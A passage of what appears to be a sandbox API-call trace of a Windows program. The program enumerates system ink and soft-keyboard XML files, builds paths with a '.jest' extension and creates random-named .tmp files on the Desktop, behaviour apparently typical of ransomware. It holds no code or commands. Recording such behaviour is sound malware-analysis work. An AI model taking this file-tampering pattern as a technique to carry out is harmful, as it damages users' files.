Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main") returned="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main" [0121.297] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml", cchLength=0x50 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 0x50 [0121.297] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0121.297] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml", cchLength=0x50 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 0x50 [0121.297] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0121.298] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml", cchLength=0x50 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 0x50 [0121.298] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0121.298] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml", cchLength=0x50 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 0x50 [0121.298] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0121.298] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml", cchLength=0x50 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 0x50 [0121.298] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0121.299] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0121.299] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0121.299] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0121.299] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0121.299] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml", lpFilePart=0x18e870*="ja-jp.xml") returned 0x4f [0121.305] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml.jest", lpFilePart=0x18e870*="ja-jp.xml.jest") returned 0x54 [0121.307] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml", lpFilePart=0x18e6d8*="ja-jp.xml") returned 0x4f [0121.307] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d4e341, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d4e341, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6dc0e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x40e8, dwReserved0=0x8c, dwReserved1=0x0, cFileName="ja-jp.xml", cAlternateFileName="")) returned 0x143ce48 [0121.307] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0121.307] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0121.307] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml", lpFilePart=0x18e780*="ja-jp.xml") returned 0x4f [0121.308] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.308] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml", lpFilePart=0x18e780*="ja-jp.xml") returned 0x4f [0121.309] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.309] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x3cd)) [0121.309] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0121.309] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x3cd)) [0121.309] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x3cd)) [0121.309] GetUserDefaultLCID () returned 0x409 [0121.309] VarBstrFromR4 (in: fltIn=0x479442fd, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75909.98") returned 0x0 [0121.311] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml", lpFilePart=0x18e780*="ja-jp.xml") returned 0x4f [0121.311] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.312] GetCurrentProcessId () returned 0x9e0 [0121.312] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0121.312] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0121.313] GetFullPathNameA (in: lpFileName="qgKI7ROVM6v5Qgx_3FU-FaPZeofx2BokxBS-2un2n1YXbRRJhgIRrwEA9LV7r7Lst7UWbqJZFM08HNSU570w6tK18czEwYxksa-.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qgKI7ROVM6v5Qgx_3FU-FaPZeofx2BokxBS-2un2n1YXbRRJhgIRrwEA9LV7r7Lst7UWbqJZFM08HNSU570w6tK18czEwYxksa-.tmp", lpFilePart=0x18e708*="qgKI7ROVM6v5Qgx_3FU-FaPZeofx2BokxBS-2un2n1YXbRRJhgIRrwEA9LV7r7Lst7UWbqJZFM08HNSU570w6tK18czEwYxksa-.tmp") returned 0x8d [0121.313] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml", lpFilePart=0x18e708*="ja-jp.xml") returned 0x4f [0121.313] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="qgKI7ROVM6v5Qgx_3FU-FaPZeofx2BokxBS-2un2n1YXbRRJhgIRrwEA9LV7r7Lst7UWbqJZFM08HNSU570w6tK18czEwYxksa-.tmp", cchWideChar=-1, lpMultiByteStr=0x18e6ec, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="qgKI7ROVM6v5Qgx_3FU-FaPZeofx2BokxBS-2un2n1YXbRRJhgIRrwEA9LV7r7Lst7UWbqJZFM08HNSU570w6tK18czEwYxksa-.tmp", lpUsedDefaultChar=0x0) returned 104 [0121.313] GetFullPathNameA (in: lpFileName="qgKI7ROVM6v5Qgx_3FU-FaPZeofx2BokxBS-2un2n1YXbRRJhgIRrwEA9LV7r7Lst7UWbqJZFM08HNSU570w6tK18czEwYxksa-.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qgKI7ROVM6v5Qgx_3FU-FaPZeofx2BokxBS-2un2n1YXbRRJhgIRrwEA9LV7r7Lst7UWbqJZFM08HNSU570w6tK18czEwYxksa-.tmp", lpFilePart=0x18e6e4*="qgKI7ROVM6v5Qgx_3FU-FaPZeofx2BokxBS-2un2n1YXbRRJhgIRrwEA9LV7r7Lst7UWbqJZFM08HNSU570w6tK18czEwYxksa-.tmp") returned 0x8d [0121.313] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qgKI7ROVM6v5Qgx_3FU-FaPZeofx2BokxBS-2un2n1YXbRRJhgIRrwEA9LV7r7Lst7UWbqJZFM08HNSU570w6tK18czEwYxksa-.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x494b6771, cFileName="7ROVM6v5Qgx_3FU-FaPZeofx2BokxBS-2un2n1YXbRRJhgIRrwEA9LV7r7Lst7UWbqJZFM08HNSU570w6tK18czEwYxksa-.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0121.314] GetLastError () returned 0x2 [0121.314] GetLastError () returned 0x2 [0121.314] SetLastError (dwErrCode=0x2) [0121.314] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.316] lstrcpynW (in: lpString1=0x1445ffc, lpString2="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_ko-kr.xml_d27c4771P", iMaxLength=119 | out: lpString1="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_ko-kr.xml_d27c4771") returned="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_ko-kr.xml_d27c4771" [0121.316] lstrcpynW (in: lpString1=0x14da79c, lpString2="ko-kr.xml", iMaxLength=10 | out: lpString1="ko-kr.xml") returned="ko-kr.xml" [0121.316] lstrcpynW (in: lpString1=0x146907c, lpString2="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main", iMaxLength=68 | out: lpString1="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main") returned="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main" [0121.316] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0121.316] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0121.316] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0121.316] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0121.316] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0121.317] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml", lpFilePart=0x18e870*="ko-kr.xml") returned 0x4f [0121.323] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml.jest", lpFilePart=0x18e870*="ko-kr.xml.jest") returned 0x54 [0121.325] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml", lpFilePart=0x18e6d8*="ko-kr.xml") returned 0x4f [0121.325] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7449e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d7449e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f70223f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3af9, dwReserved0=0x8c, dwReserved1=0x0, cFileName="ko-kr.xml", cAlternateFileName="")) returned 0x143ce48 [0121.325] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0121.325] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0121.325] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml", lpFilePart=0x18e780*="ko-kr.xml") returned 0x4f [0121.326] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.327] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml", lpFilePart=0x18e780*="ko-kr.xml") returned 0x4f [0121.327] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.327] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x3dd)) [0121.327] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0121.328] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x3dd)) [0121.328] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x3dd)) [0121.328] GetUserDefaultLCID () returned 0x409 [0121.328] VarBstrFromR4 (in: fltIn=0x479442ff, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75909.99") returned 0x0 [0121.329] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml", lpFilePart=0x18e780*="ko-kr.xml") returned 0x4f [0121.330] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.332] GetCurrentProcessId () returned 0x9e0 [0121.332] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0121.332] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0121.332] GetFullPathNameA (in: lpFileName="vM6khYqqkTL4n1FNKsfpjscES8s0wyJbAOtzvzbF4LPbS5AI01nS4dZrgnPhNe0IJ-xX rbej4Pb0DIKy6KGhWYTt4E3RrpHIYXgm.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vM6khYqqkTL4n1FNKsfpjscES8s0wyJbAOtzvzbF4LPbS5AI01nS4dZrgnPhNe0IJ-xX rbej4Pb0DIKy6KGhWYTt4E3RrpHIYXgm.tmp", lpFilePart=0x18e708*="vM6khYqqkTL4n1FNKsfpjscES8s0wyJbAOtzvzbF4LPbS5AI01nS4dZrgnPhNe0IJ-xX rbej4Pb0DIKy6KGhWYTt4E3RrpHIYXgm.tmp") returned 0x8f [0121.332] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml", lpFilePart=0x18e708*="ko-kr.xml") returned 0x4f [0121.332] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vM6khYqqkTL4n1FNKsfpjscES8s0wyJbAOtzvzbF4LPbS5AI01nS4dZrgnPhNe0IJ-xX rbej4Pb0DIKy6KGhWYTt4E3RrpHIYXgm.tmp", cchWideChar=-1, lpMultiByteStr=0x18e6ec, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vM6khYqqkTL4n1FNKsfpjscES8s0wyJbAOtzvzbF4LPbS5AI01nS4dZrgnPhNe0IJ-xX rbej4Pb0DIKy6KGhWYTt4E3RrpHIYXgm.tmp", lpUsedDefaultChar=0x0) returned 106 [0121.332] GetFullPathNameA (in: lpFileName="vM6khYqqkTL4n1FNKsfpjscES8s0wyJbAOtzvzbF4LPbS5AI01nS4dZrgnPhNe0IJ-xX rbej4Pb0DIKy6KGhWYTt4E3RrpHIYXgm.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vM6khYqqkTL4n1FNKsfpjscES8s0wyJbAOtzvzbF4LPbS5AI01nS4dZrgnPhNe0IJ-xX rbej4Pb0DIKy6KGhWYTt4E3RrpHIYXgm.tmp", lpFilePart=0x18e6e4*="vM6khYqqkTL4n1FNKsfpjscES8s0wyJbAOtzvzbF4LPbS5AI01nS4dZrgnPhNe0IJ-xX rbej4Pb0DIKy6KGhWYTt4E3RrpHIYXgm.tmp") returned 0x8f [0121.333] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vM6khYqqkTL4n1FNKsfpjscES8s0wyJbAOtzvzbF4LPbS5AI01nS4dZrgnPhNe0IJ-xX rbej4Pb0DIKy6KGhWYTt4E3RrpHIYXgm.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x6b364d76, cFileName="hYqqkTL4n1FNKsfpjscES8s0wyJbAOtzvzbF4LPbS5AI01nS4dZrgnPhNe0IJ-xX rbej4Pb0DIKy6KGhWYTt4E3RrpHIYXgm.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0121.333] GetLastError () returned 0x2 [0121.333] GetLastError () returned 0x2 [0121.333] SetLastError (dwErrCode=0x2) [0121.333] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.334] lstrcpynW (in: lpString1=0x1445ffc, lpString2="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_zh-changjei.xml_e75e557b", iMaxLength=125 | out: lpString1="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_zh-changjei.xml_e75e557b") returned="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_zh-changjei.xml_e75e557b" [0121.334] lstrcpynW (in: lpString1=0x143353c, lpString2="zh-changjei.xml", iMaxLength=16 | out: lpString1="zh-changjei.xml") returned="zh-changjei.xml" [0121.335] lstrcpynW (in: lpString1=0x1445ffc, lpString2="\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76", iMaxLength=116 | out: lpString1="\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76") returned="\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76" [0121.335] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0121.335] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0121.335] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0121.335] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0121.335] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0121.335] lstrcpynW (in: lpString1=0x14cf24c, lpString2="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_zh-dayi.xml_680fca8d", iMaxLength=121 | out: lpString1="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_zh-dayi.xml_680fca8d") returned="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_zh-dayi.xml_680fca8d" [0121.335] lstrcpynW (in: lpString1=0x14da79c, lpString2="zh-dayi.xml", iMaxLength=12 | out: lpString1="zh-dayi.xml") returned="zh-dayi.xml" [0121.336] lstrcpynW (in: lpString1=0x14cf24c, lpString2="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main", iMaxLength=68 | out: lpString1="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main") returned="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main" [0121.336] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0121.336] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0121.336] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0121.336] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0121.336] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0121.336] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml", lpFilePart=0x18e870*="zh-dayi.xml") returned 0x51 [0121.371] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.jest", lpFilePart=0x18e870*="zh-dayi.xml.jest") returned 0x56 [0121.374] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml", lpFilePart=0x18e6d8*="zh-dayi.xml") returned 0x51 [0121.374] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2b3b, dwReserved0=0x8c, 